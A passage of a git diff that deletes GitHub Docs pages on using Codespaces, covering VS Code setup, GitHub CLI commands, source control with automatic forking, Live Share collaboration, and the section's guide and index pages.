the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.github %} account.' -redirect_from: - - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code - - /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code - - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio - - /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code - - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Visual Studio Code - - Developer ---- - -## About {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %} - -You can use your local install of {% data variables.product.prodname_vscode %} to create, manage, work in, and delete codespaces. {% data reusables.codespaces.using-codespaces-in-vscode %} For more information on setting up {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %}, see [Prerequisites](#prerequisites). - -By default, if you create a new codespace on {% data variables.product.github %}, it will open in the browser. If you would prefer to open any new codespaces in {% data variables.product.prodname_vscode_shortname %} automatically, you can set your default editor to be {% data variables.product.prodname_vscode_shortname %}. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces). - -If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode_shortname %} extensions, themes, and shortcuts, you can turn on Settings Sync. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#settings-sync). - -## Prerequisites - -To develop in a codespace directly in {% data variables.product.prodname_vscode_shortname %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.github %} credentials. The {% data variables.product.prodname_github_codespaces %} extension requires {% data variables.product.prodname_vscode_shortname %} October 2020 Release 1.51 or later. - -Use the {% data variables.product.prodname_vscode_marketplace %} to install the [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension. For more information, see [Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -{% data reusables.codespaces.click-remote-explorer-icon-vscode %} -1. Select "{% data variables.product.prodname_github_codespaces %}" from the dropdown at the top of the "Remote Explorer" side bar, if it is not already selected. -1. Click **Sign in to {% data variables.product.prodname_dotcom %}**. - - ![Screenshot of the "Remote Explorer" side bar for "{% data variables.product.prodname_github_codespaces %}" with the "Sign in to {% data variables.product.prodname_dotcom %}" button displayed.](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) - -1. If you are not currently signed in to {% data variables.product.prodname_dotcom %} you'll be prompted to do so. Go ahead and sign in. -1. When you're prompted to specify what you want to authorize, click the **Authorize** button for "{% data variables.product.prodname_dotcom %}." -1. If the authorization page is displayed, click **Authorize Visual-Studio-Code**. - -## Creating a codespace in {% data variables.product.prodname_vscode_shortname %} - -{% data reusables.codespaces.creating-a-codespace-in-vscode %} - -## Opening a codespace in {% data variables.product.prodname_vscode_shortname %} - -{% data reusables.codespaces.click-remote-explorer-icon-vscode %} -1. Under "{% data variables.product.prodname_github_codespaces %}", hover over the codespace you want to develop in. -1. Click the connection icon (a plug symbol). - - ![Screenshot of the "Remote Explorer" side bar. The connection icon for a codespace (a plug symbol) is highlighted with a dark orange outline.](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) - -## Changing the machine type in {% data variables.product.prodname_vscode_shortname %} - -{% data reusables.codespaces.codespaces-machine-types %} You can change the machine type of your codespace at any time. - -> [!NOTE] -> {% data reusables.codespaces.codespaces-machine-type-availability %} - -{% data reusables.codespaces.changing-machine-type-in-vscode %} - -{% data reusables.codespaces.about-changing-storage-size %} - -## Deleting a codespace in {% data variables.product.prodname_vscode_shortname %} - -{% data reusables.codespaces.deleting-a-codespace-in-vscode %} - -## Switching to {% data variables.product.prodname_vscode_shortname %} Insiders in the web client - -If you are using the {% data variables.product.prodname_vscode_shortname %} web client, you can switch to the Insiders version of the application. For more information about this version of {% data variables.product.prodname_vscode_shortname %}, see [Introducing the Insiders Build](https://code.visualstudio.com/blogs/2016/02/01/introducing_insiders_build) in the {% data variables.product.prodname_vscode_shortname %} blog. - -After you switch versions in a codespace, the web client will continue to use the Insiders version if you stop and restart the codespace. New codespaces that you create and open in the {% data variables.product.prodname_vscode_shortname %} web client will also use the Insiders version. - -1. In bottom left of the browser window that's displaying a codespace, click **{% octicon "gear" aria-label="Manage" %}**. -1. In the menu, select "Switch to Insiders Version." - - ![Screenshot of the {% data variables.product.prodname_vscode_shortname %} web client. A gear icon is highlighted with an orange outline. "Switch to Insiders Version" is shown in the menu.](/assets/images/help/codespaces/codespaces-insiders-vscode.png) - -1. Click **Reload**. - -To switch back to the Stable version of {% data variables.product.prodname_vscode_shortname %}, repeat the process but choose **Switch to Stable Version**. After you switch back, the codespace will continue to use the Stable version if you stop and restart the codespace. New codespaces that you create and open in the {% data variables.product.prodname_vscode_shortname %} web client will also use the Stable version. - -## Using the Insiders desktop application for {% data variables.product.prodname_codespaces %} - -To use {% data variables.product.prodname_github_codespaces %} in the Insiders version of the {% data variables.product.prodname_vscode_shortname %} desktop application, start or create your codespaces from within the {% data variables.product.prodname_vscode_shortname %} Insiders application. For more information see [Creating a codespace in {% data variables.product.prodname_vscode_shortname %}](#creating-a-codespace-in-vs-code) and [Opening a codespace in {% data variables.product.prodname_vscode_shortname %}](#opening-a-codespace-in-vs-code) earlier in this article. - -## Further reading - -* [AUTOTITLE](/codespaces/reference/using-the-vs-code-command-palette-in-codespaces) -* [AUTOTITLE](/codespaces/reference/using-github-copilot-in-github-codespaces) diff --git a/content/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli.md b/content/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli.md deleted file mode 100644 index a0a106036b14..000000000000 --- a/content/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: Using GitHub Codespaces with GitHub CLI -shortTitle: GitHub CLI -intro: 'You can work with {% data variables.product.prodname_github_codespaces %} directly from your command line by using `gh`, the {% data variables.product.github %} command line interface.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - CLI - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/using-codespaces-with-github-cli - - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli ---- - -## About {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} For more information, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -You can work with {% data variables.product.prodname_github_codespaces %} in the {% data variables.product.prodname_cli %} to: -* [List all of your codespaces](#list-all-of-your-codespaces) -* [Create a new codespace](#create-a-new-codespace) -* [View details of a codespace](#view-details-of-a-codespace) -* [Stop a codespace](#stop-a-codespace) -* [Delete a codespace](#delete-a-codespace) -* [Rename a codespace](#rename-a-codespace) -* [Rebuild a codespace](#rebuild-a-codespace) -* [SSH into a codespace](#ssh-into-a-codespace) -* [Open a codespace in {% data variables.product.prodname_vscode %}](#open-a-codespace-in-visual-studio-code) -* [Open a codespace in JupyterLab](#open-a-codespace-in-jupyterlab) -* [Copy a file to/from a codespace](#copy-a-file-tofrom-a-codespace) -* [Modify ports in a codespace](#modify-ports-in-a-codespace) -* [Access codespace logs](#access-codespace-logs) -* [Access remote resources](#access-remote-resources) -* [Change the machine type of a codespace](#change-the-machine-type-of-a-codespace) - -## Installing {% data variables.product.prodname_cli %} - -{% data reusables.cli.cli-installation %} - -## Using {% data variables.product.prodname_cli %} - -If you have not already done so, run `gh auth login` to authenticate with your {% data variables.product.prodname_dotcom %} account. - -To use `gh` to work with {% data variables.product.prodname_github_codespaces %}, type `gh codespace SUBCOMMAND` or its alias `gh cs SUBCOMMAND`. - -As an example of a series of commands you might use to work with {% data variables.product.prodname_github_codespaces %}, you could: - -* List your current codespaces, to check whether you have a codespace for a particular repository:<br> - `gh codespace list` -* Create a new codespace for the required repository branch:<br> - `gh codespace create -r github/docs -b main` -* SSH into the new codespace:<br> - `gh codespace ssh -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq` -* Forward a port to your local machine:<br> - `gh codespace ports forward 8000:8000 -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq` - -## `gh` commands for {% data variables.product.prodname_github_codespaces %} - -The sections below give example commands for each of the available operations. - -For a complete reference of `gh` commands for {% data variables.product.prodname_github_codespaces %}, including details of all available options for each command, see the {% data variables.product.prodname_cli %} online help for [gh codespace](https://cli.github.com/manual/gh_codespace). Alternatively, on the command line, use `gh codespace --help` for general help or `gh codespace SUBCOMMAND --help` for help with a specific subcommand. - -> [!NOTE] -> The `-c CODESPACE_NAME` flag, used with many commands, is optional. If you omit it a list of codespaces is displayed for you to choose from. - -### List all of your codespaces - -```shell -gh codespace list -``` - -The list includes the unique name of each codespace, which you can use in other `gh codespace` commands. - -An asterisk at the end of the branch name for a codespace indicates that there are uncommitted or unpushed changes in that codespace. - -### Create a new codespace - -```shell -gh codespace create -r OWNER/REPO_NAME [-b BRANCH] -``` - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository). - -### View details of a codespace - -```shell -gh codespace view -``` - -After running this command you are prompted to choose one of your existing codespaces. The following information is then displayed: -* Name of the codespace -* State (for example, "Available" or "Shutdown") -* Repository -* Git status -* Path to the dev container configuration file used to create the codespace -* Machine type -* Idle timeout -* Date and time the codespace was created -* Retention period - -For more information, see the [{% data variables.product.prodname_dotcom %} CLI reference](https://cli.github.com/manual/gh_codespace_view). - -### Stop a codespace - -```shell -gh codespace stop -c CODESPACE-NAME -``` - -For more information, see [AUTOTITLE](/codespaces/about-codespaces/deep-dive#closing-or-stopping-your-codespace). - -### Delete a codespace - -```shell -gh codespace delete -c CODESPACE-NAME -``` - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace). - -### Rename a codespace - -```shell -gh codespace edit -c CODESPACE-NAME -d 'DISPLAY-NAME' -``` - -For more information, see [AUTOTITLE](/codespaces/customizing-your-codespace/renaming-a-codespace?tool=cli). - -### Rebuild a codespace - -```shell -gh codespace rebuild -``` - -To perform a full rebuild, add `--full` at the end of this command. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace). - -When you use this command to rebuild a codespace, it uses the `devcontainer.json` file that is currently saved in the codespace's system. This happens regardless of whether or not the current state of the file has been saved in source control. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -### SSH into a codespace - -To run commands on the remote codespace machine, from your terminal, you can SSH into the codespace. - -```shell -gh codespace ssh -c CODESPACE-NAME -``` - -> [!NOTE] -> {% data reusables.codespaces.ssh-server-installed %} -> -> For more information about the `devcontainer.json` file and the default container image, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -{% data variables.product.prodname_github_codespaces %} creates a local SSH key automatically to provide a seamless authentication experience. For more information on connecting with SSH, see [`gh codespace ssh`](https://cli.github.com/manual/gh_codespace_ssh). - -### Open a codespace in {% data variables.product.prodname_vscode %} - -```shell -gh codespace code -c CODESPACE-NAME -``` - -You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code). - -### Open a codespace in JupyterLab - -```shell -gh codespace jupyter -c CODESPACE-NAME -``` - -{% data reusables.codespaces.jupyterlab-installed-in-codespace %} - -### Copy a file to/from a codespace - -```shell -gh codespace cp [-r] SOURCE(S) DESTINATION -``` - -Use the prefix `remote:` on a file or directory name to indicate that it's on the codespace. As with the UNIX `cp` command, the first argument specifies the source and the last specifies the destination. If the destination is a directory, you can specify multiple sources. Use the `-r` (recursive) flag if any of the sources is a directory. - -The location of files and directories on the codespace is relative to the home directory of the remote user. - -#### Examples - -* Copy a file from the local machine to the `$HOME` directory of a codespace: - - `gh codespace cp myfile.txt remote:` - -* Copy a file to the directory in which a repository is checked out in a codespace: - - `gh codespace cp myfile.txt remote:/workspaces/REPOSITORY-NAME` - -* Copy a file from a codespace to the current directory on the local machine: - - `gh codespace cp remote:myfile.txt .` - -* Copy three local files to the `$HOME/temp` directory of a codespace: - - `gh codespace cp a1.txt a2.txt a3.txt remote:temp` - -* Copy three files from a codespace to the current working directory on the local machine: - - `gh codespace cp remote:a1.txt remote:a2.txt remote:a3.txt .` - -* Copy a local directory into the `$HOME` directory of a codespace: - - `gh codespace cp -r mydir remote:` - -* Copy a directory from a codespace to the local machine, changing the directory name: - - `gh codespace cp -r remote:mydir mydir-localcopy` - -For more information about the `gh codespace cp` command, including additional flags you can use, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_cp). - -### Modify ports in a codespace - -You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>. - -```shell -gh codespace ports forward CODESPACE-PORT_NAME:LOCAL-PORT-NAME -c CODESPACE-NAME -``` - -To see details of forwarded ports enter `gh codespace ports` and then choose a codespace. - -You can set the visibility of a forwarded port. {% data reusables.codespaces.port-visibility-settings %} - -```shell -gh codespace ports visibility CODESPACE-PORT:private|org|public -c CODESPACE-NAME -``` - -You can set the visibility for multiple ports with one command. For example: - -```shell -gh codespace ports visibility 80:private 3000:public 3306:org -c CODESPACE-NAME -``` - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -### Access codespace logs - -You can see the creation log for a codespace. After entering this command you will be asked to enter the passphrase for your SSH key. - -```shell -gh codespace logs -c CODESPACE-NAME -``` - -For more information about the creation log, see [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs#creation-logs). - -### Access remote resources - -You can use the {% data variables.product.prodname_cli %} extension to create a bridge between a codespace and your local machine, so that the codespace can access any remote resource that is accessible from your machine. For more information on using the extension, see [Using {% data variables.product.prodname_cli %} to access remote resources](https://github.com/github/gh-net#codespaces-network-bridge). - -> [!NOTE] -> The {% data variables.product.prodname_cli %} extension is currently in {% data variables.release-phases.public_preview %} and subject to change. - -### Change the machine type of a codespace - -```shell -gh codespace edit -m MACHINE-TYPE-NAME -``` - -For more information, see the "{% data variables.product.prodname_cli %}" tab of [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace). diff --git a/content/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace.md b/content/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace.md deleted file mode 100644 index c7fb357f6285..000000000000 --- a/content/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Using source control in your codespace -intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Source control -redirect_from: - - /codespaces/developing-in-codespaces/using-source-control-in-your-codespace ---- - -## About source control in {% data variables.product.prodname_github_codespaces %} - -You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from a remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control. - -{% vscode %} - -For more information about Git support in {% data variables.product.prodname_vscode %}, see [Using Version Control in {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support) in the {% data variables.product.prodname_vscode %} documentation. - -{% endvscode %} - -{% webui %} - -Source control in the {% data variables.product.prodname_vscode %} web client uses the same workflow as the {% data variables.product.prodname_vscode %} desktop application. For more information, see [Using Version Control in {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support) in the {% data variables.product.prodname_vscode %} documentation. - -{% endwebui %} - -A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be: - -* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository). -* In your codespace, create a new branch to work on. -* Make your changes and save them. -* Commit the change. -* Raise a pull request. - -> [!NOTE] -> By default, {% data variables.product.prodname_github_codespaces %} uses the HTTPS protocol to transfer data to and from a remote repository, and authenticates with a `GITHUB_TOKEN` configured with read and write access to the repository from which you create the codespace. If you're having issues with authentication, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository). - -## About automatic forking - -To create a codespace for a repository for which you only have read access, you must have permission to fork the repository. - -You do not need to fork the repository before you create the codespace. For example, you can create a codespace from the repository to look at the project and make experimental changes, then delete the codespace if you no longer need it. - -If you make a commit from the codespace, or push a new branch, {% data variables.product.prodname_github_codespaces %} either creates a fork of the repository under your account and links it to your codespace, or it links your codespace to an existing fork if you already have one for the repository. You can then push your changes to the fork and create a pull request to propose the changes to the upstream repository. - -If you make a commit from the command line, you will see a prompt asking if you would like to proceed with linking your codespace to a new or existing fork. Enter `y` to proceed. If you commit changes from the **Source Control** view in {% data variables.product.prodname_vscode_shortname %}, your codespace is automatically linked to a fork without you being prompted. - -> [!NOTE] -> * If you delete your fork repository, then any codespaces linked to the fork are deleted, even if you originally created them from the upstream repository. -> * If you make a commit from the command line and refuse the new fork by entering `n`, you should push your changes from the command line rather than from {% data variables.product.prodname_vscode_shortname %}'s Source Control view. If you use the Source Control view, {% data variables.product.prodname_vscode_shortname %} will still try to create a fork for you on push. - -When {% data variables.product.prodname_github_codespaces %} creates a fork, or links your codespace to an existing fork, the following things happen. - -* The access token associated with your codespace is updated to include `read` and `write` permission to your fork, in addition to `read` permission to the upstream repository. -* In your Git settings, the upstream repository is reassigned to the name `upstream`, and the fork is added as a new remote repository under the name `origin`. - -By default, source control commands that you access from your editor's user interface, such as the **Sync Changes** button in {% data variables.product.prodname_vscode_shortname %}, target your fork. If you're working from the command line, you can use `origin` to refer to your fork and `upstream` to refer to the upstream repository. For example, you can fetch changes from the upstream repository to ensure your codespace is up to date with the latest changes to the project. - -```shell -git fetch upstream -``` - -When you have made some changes, you can push them to a feature branch of your fork. - -```shell -git push origin my-feature-branch -``` - -For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -{% webui %} - -{% data reusables.codespaces.source-control %} - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.source-control %} - -{% endvscode %} diff --git a/content/codespaces/developing-in-a-codespace/working-collaboratively-in-a-codespace.md b/content/codespaces/developing-in-a-codespace/working-collaboratively-in-a-codespace.md deleted file mode 100644 index ab220da3fbd4..000000000000 --- a/content/codespaces/developing-in-a-codespace/working-collaboratively-in-a-codespace.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Working collaboratively in a codespace -shortTitle: Work collaboratively -intro: 'You can work collaboratively with other people in a codespace by using {% data variables.product.prodname_vs %} Live Share.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/working-collaboratively-in-a-codespace ---- - -{% data variables.product.prodname_vs %} Live Share lets you collaboratively edit and debug with others in real time, within a codespace. You can securely share your current codespace, or access a codespace created by someone else. - -You can start a Live Share session either within the {% data variables.product.prodname_vscode_shortname %} web client in your browser, or within the {% data variables.product.prodname_vscode_shortname %} desktop application. - -For more information about Live Share, see [What is {% data variables.product.prodname_vs %} Live Share?](https://learn.microsoft.com/en-us/visualstudio/liveshare/) in the {% data variables.product.prodname_vs %} documentation. - -## Sharing your codespace with someone else - -1. In the Activity Bar, click the Extensions icon. -1. In the search box, type `Live Share`. - - ![Screenshot of the "Extensions: Marketplace" side bar with "live share" entered in the search box. "Live Share" is the first in the list of extensions.](/assets/images/help/codespaces/live-share-search-extensions.png) - -1. If the **Install** button is displayed beside the extension, click it to install the extension in the codespace. -1. If the extension is shown grayed out in the list, right-click it and click **Enable**. - - ![Screenshot of the "Enable" right-click menu option.](/assets/images/help/codespaces/live-share-enable-rightclick.png) - -1. In the Activity Bar, click the Live Share icon. - - ![Screenshot of the Activity Bar. The Live Share icon (an arrow above a circle) is highlighted with a dark orange outline.](/assets/images/help/codespaces/live-share-click-icon.png) - -1. Click **Share**. - - A "toast" notification message is displayed at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, telling you that a link to your codespace has been copied to the clipboard. You can click **Make read-only** if you want to prevent guests from making changes to the files you share with them. - - ![Screenshot of a popup message: "Invitation link copied to clipboard!" There are three buttons: "Make read-only," "More info," and "Copy again."](/assets/images/help/codespaces/live-share-link-copied-clipboard.png) - -1. Send the link in your clipboard to anyone you want to join you in your Live Share session. - - > [!IMPORTANT] - > Given the level of access Live Share sessions can provide to guests, you should only share with people you trust, and you should think through the implications of what you are sharing. For more information, see [Security features of Live Share](https://learn.microsoft.com/en-us/visualstudio/liveshare/reference/security) in the {% data variables.product.prodname_vs %} documentation. - -## Stopping a Live Share session - -To stop sharing your codespace, click the stop icon in the Live Share panel. - -![Screenshot of the stop icon to the right of "Session Details" in the "Live Share" side bar. The icon is a circle with a diagonal line through it.](/assets/images/help/codespaces/live-share-stop-collaboration.png) - -If you, as the person who started the Live Share session, close the codespace the sharing session ends, even if the codespace remains active on the remote host. - -The idle timeout, which automatically stops a codespace after a period of inactivity, only applies to the person who started the codespace. It does not apply to people who are working on the codespace via Live Share. The codespace may therefore time out while collaborators are using the codespace if the person who started the codespace remains inactive for the configured period of time. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). - -## Working collaboratively in someone else's codespace - -If you want to work with someone within a codespace they've created, ask them to set up a Live Share session and send you a link, as described above. diff --git a/content/codespaces/guides.md b/content/codespaces/guides.md deleted file mode 100644 index 56d0be0af9d3..000000000000 --- a/content/codespaces/guides.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Guides for Codespaces -shortTitle: Guides -intro: Learn how to make the most of GitHub -allowTitleToDifferFromFilename: true -layout: product-guides -versions: - fpt: '*' - ghec: '*' -includeGuides: - - /codespaces/quickstart - - /codespaces/about-codespaces/deep-dive - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-nodejs-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-python-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-dotnet-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-java-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-php-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/setting-a-minimum-specification-for-codespace-machines - - /codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file - - /codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/automatically-opening-files-in-the-codespaces-for-a-repository - - /codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces - - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces - - /codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account - - /codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository - - /codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template - - /codespaces/developing-in-a-codespace/developing-in-a-codespace - - /codespaces/developing-in-a-codespace/deleting-a-codespace - - /codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace - - /codespaces/developing-in-a-codespace/opening-an-existing-codespace - - /codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace - - /codespaces/developing-in-a-codespace/working-collaboratively-in-a-codespace - - /codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code - - /codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli - - /codespaces/developing-in-a-codespace/using-source-control-in-your-codespace - - /codespaces/developing-in-a-codespace/using-github-codespaces-for-pull-requests - - /codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace - - /codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces - - /codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces - - /codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces - - /codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces - - /codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces - - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces - - /codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces - - /codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization - - /codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization - - /codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization - - /codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types - - /codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces - - /codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period - - /codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces - - /codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports - - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces - - /billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces - - /codespaces/reference/using-the-vs-code-command-palette-in-codespaces - - /codespaces/reference/disaster-recovery-for-github-codespaces - - /codespaces/reference/security-in-github-codespaces ---- diff --git a/content/codespaces/index.md b/content/codespaces/index.md deleted file mode 100644 index a896679b76a7..000000000000 --- a/content/codespaces/index.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: "{% data variables.product.prodname_codespaces %} documentation" -shortTitle: "{% data variables.product.prodname_codespaces %}" -intro: 'Create a codespace to start developing in a secure, configurable, and dedicated development environment that works how and where you want it to.' -introLinks: - overview: /codespaces/about-codespaces/what-are-codespaces - quickstart: /codespaces/quickstart -featuredLinks: - startHere: - - /codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization - - /codespaces/about-codespaces/understanding-the-codespace-lifecycle - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers - - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces - - /billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces - guideCards: - - /codespaces/about-codespaces/deep-dive - - /codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository - - /codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template - - /codespaces/developing-in-a-codespace/opening-an-existing-codespace - - /codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account - - /codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code - popular: - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-nodejs-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-python-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-java-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-dotnet-project-for-codespaces - - /codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/setting-up-your-php-project-for-codespaces - popularHeading: Set up your project -changelog: - label: codespaces -product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc' -product_video_transcript: /video-transcripts/transcript-codespaces-your-instant-dev-box-in-the-cloud -communityRedirect: - name: Provide GitHub Feedback - href: 'https://github.com/orgs/community/discussions/categories/codespaces' -redirect_from: - - /github/developing-online-with-github-codespaces - - /github/developing-online-with-codespaces - - /codespaces/developing-in-a-codespace/using-github-codespaces-in-your-jetbrains-ide - - /codespaces/reference/using-the-github-codespaces-plugin-for-jetbrains -layout: product-landing -versions: - fpt: '*' - ghec: '*' -children: - - /quickstart - - /about-codespaces - - /developing-in-a-codespace - - /customizing-your-codespace - - /setting-your-user-preferences - - /setting-up-your-project-for-codespaces - - /prebuilding-your-codespaces - - /managing-your-codespaces - - /managing-codespaces-for-your-organization - - /reference - - /troubleshooting - - /the-githubdev-web-based-editor - - /guides ---- diff --git a/content/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization.md deleted file mode 100644 index e8e78f7841e6..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Choosing who owns and pays for codespaces in your organization -shortTitle: 'Billing and ownership' -intro: 'You can choose whether codespaces are paid for and owned by your organization or by your members.' -permissions: "Organization owners can change an organization's billing details and control who owns and pays for codespaces." -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Billing - - Administrator -product: 'Organizations on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %} plans can pay for their members'' use of {% data variables.product.prodname_github_codespaces %}. These organizations can then access policies that apply to codespaces paid for by the organization. See [AUTOTITLE](/get-started/learning-about-github/githubs-products).' ---- - -## Overview - -If you're the owner of an organization on a {% data 